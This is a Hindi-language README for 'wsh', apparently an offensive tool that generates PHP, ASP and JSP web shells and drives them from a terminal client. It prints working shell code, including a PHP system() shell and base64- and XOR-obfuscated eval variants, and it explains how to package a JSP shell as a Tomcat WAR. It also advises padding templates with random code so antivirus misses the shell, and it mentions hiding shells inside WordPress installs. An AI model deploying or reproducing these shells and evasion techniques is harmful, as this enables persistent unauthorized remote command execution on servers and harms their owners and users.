
वेब शेल जनरेटर और कमांड लाइन इंटरफ़ेस।
wsh (उच्चारण वूश) एक वेब शेल जनरेटर और कमांड लाइन इंटरफेस है। इसकी शुरुआत केवल एक http क्लाइंट के रूप में हुई थी क्योंकि वेबशेल के साथ इंटरैक्ट करना एक परेशानी है। एक फ़ॉर्म होता है, कमांड भेजने के लिए आपको एक इनपुट बॉक्स में टाइप करना होता है और एक बटन दबाना होता है। मुझे कुछ ऐसा चाहिए था जो मेरे वर्कफ़्लो में बेहतर फिट बैठे और टर्मिनल में चले। इस प्रकार wsh का जन्म हुआ।
क्लाइंट में कमांड हिस्ट्री, लॉगिंग शामिल है, और इसे फ़ॉर्म/बटन के साथ पहले से तैनात मानक वेबशेल के साथ इंटरैक्ट करने के लिए कॉन्फ़िगर किया जा सकता है। जनरेटर php, asp और jsp में वेबशेल बनाता है। ये यादृच्छिक वेरिएबल के साथ उत्पन्न होते हैं, इसलिए प्रत्येक का एक अद्वितीय हैश होगा। इन्हें व्हाइटलिस्ट, पासवर्ड के साथ कॉन्फ़िगर किया जा सकता है, और कमांड को कस्टम हेडर और पैरामीटर पर भेजने की अनुमति देता है। जनरेटर और क्लाइंट को कमांड लाइन फ्लैग या कॉन्फ़िगरेशन फ़ाइलों के माध्यम से कॉन्फ़िगर किया जा सकता है ताकि आपके लिए काम करने वाला सेटअप सेव किया जा सके बिना उस चीज़ को किए जिसे मैं "--help" डांस कहता हूं। एक बार कॉन्फ़िगर हो जाने पर, क्लाइंट और जनरेटर एक ही कॉन्फ़िग फ़ाइल का उपयोग करते हैं।
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
मैं चाहता था कि क्लाइंट भाषा-अज्ञेय (language agnostic) हो, इसलिए सभी वेबशेल को समान अपलोड/डाउनलोड लॉजिक लागू करना आवश्यक था। दुर्भाग्य से, जेएसपी और क्लासिक एएसपी में मूल रूप से मल्टीपार्ट फॉर्म अपलोड करना एक परेशानी है, इसलिए फ़ाइलों को एक पैरामीटर में बेस64 के रूप में अपलोड किया जाता है। यह आदर्श नहीं है क्योंकि अधिकतम फ़ाइल अपलोड आकार अधिकतम पैरामीटर आकार तक सीमित है। भविष्य में मैं मल्टीपार्ट फॉर्म अपलोड को लागू करने का प्रयास कर सकता हूं, या बड़ी फ़ाइलों को स्थानांतरित करने के लिए कई अनुरोध कर सकता हूं।
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
निम्नलिखित कमांड एक सरल php वेब शेल जनरेट करता है और उसके साथ इंटरैक्ट करता है।
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
कमांड को http हेडर पर भी भेजा जा सकता है
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
पासवर्ड को पैरामीटर या हेडर के माध्यम से भेजा जा सकता है।
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
यह कार्यक्षमता दिलचस्प है, लेकिन उपयोगी बनाने के लिए टेम्पलेट्स में कुछ संशोधन की आवश्यकता हो सकती है। एएसपी और जेएसपी के मामले में, बेस64 को डिकोड करने वाली लाइब्रेरी ज्ञात आईओसी हैं और फ्लैग हो जाएंगी। यदि आप इन कार्यक्षमताओं का उपयोग करने में रुचि रखते हैं, तो मैं टेम्पलेट को संशोधित करने और अस्पष्ट (obfuscating) करने की सलाह दूंगा। पासवर्ड सुरक्षा की तरह ही, xor की को पैरामीटर या हेडर पर भेजा जा सकता है।
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
टॉमकैट पर तैनात किए जाने वाले वेबशेल को जनरेट करने के लिए, index.jsp नामक एक jsp शेल बनाएं और इसे war फ़ाइल में ज़िप करने के लिए नीचे दिए गए कमांड को चलाएं। कभी-कभी, टॉमकैट वातावरण में फ़ाइल अपलोड/डाउनलोड के लिए आवश्यक लाइब्रेरी नहीं होती हैं और अनुरोध करने पर शेल त्रुटि देगा। इसे ठीक करने के लिए, --no-file फ्लैग का उपयोग करें।
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
गो टेम्पलेट लाइब्रेरी का उपयोग जनरेटर में बहुत लचीलापन जोड़ता है। कभी-कभी एवी (AV) द्वारा एक वेबशेल पकड़ा जा सकता है, हालांकि, मैंने पाया है कि टेम्पलेट फ़ाइल में बहुत सारा यादृच्छिक कोड जोड़ने से अक्सर शेल इतना सौम्य दिखाई देता है कि वह डिस्क पर बना रह सकता है। मैंने templates/covert-php.tml फ़ाइल में एक उदाहरण शामिल किया है। इसके अतिरिक्त, आप पेनिट्रेशन टेस्ट के उपयोग के मामले में एट्रिब्यूशन के लिए अपना नाम/संपर्क जानकारी शामिल करने के लिए इन टेम्पलेट्स को संशोधित कर सकते हैं।
एक प्रीफ़िक्स निर्दिष्ट किया जा सकता है ताकि शेल को भेजे गए प्रत्येक कमांड में एक स्ट्रिंग जोड़ी जा सके। इसका उपयोग सामान्य cmd शेल को पावरशेल शेल में बदलने के लिए किया जा सकता है।
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
लॉग टाइमस्टैम्प किए जाते हैं और इसमें वह होस्ट शामिल होता है जिसके साथ इंटरैक्ट किया जा रहा है। लॉग फ़ाइलें अपेंड की जाती हैं, इसलिए एक ही लॉग फ़ाइल का उपयोग कई सत्रों/होस्ट के लिए कर सकते हैं।
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
क्लाइंट को किसी अनुरोध से अतिरिक्त html सामग्री को ट्रिम करने के लिए कॉन्फ़िगर किया जा सकता है, यह मानक html इंटरफ़ेस वेबशेल के साथ इंटरैक्ट करते समय उपयोगी है, या हो सकता है कि कोई जनरेटेड शेल किसी वर्डप्रेस इंस्टॉलेशन में चुपके से एम्बेड किया गया हो।
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates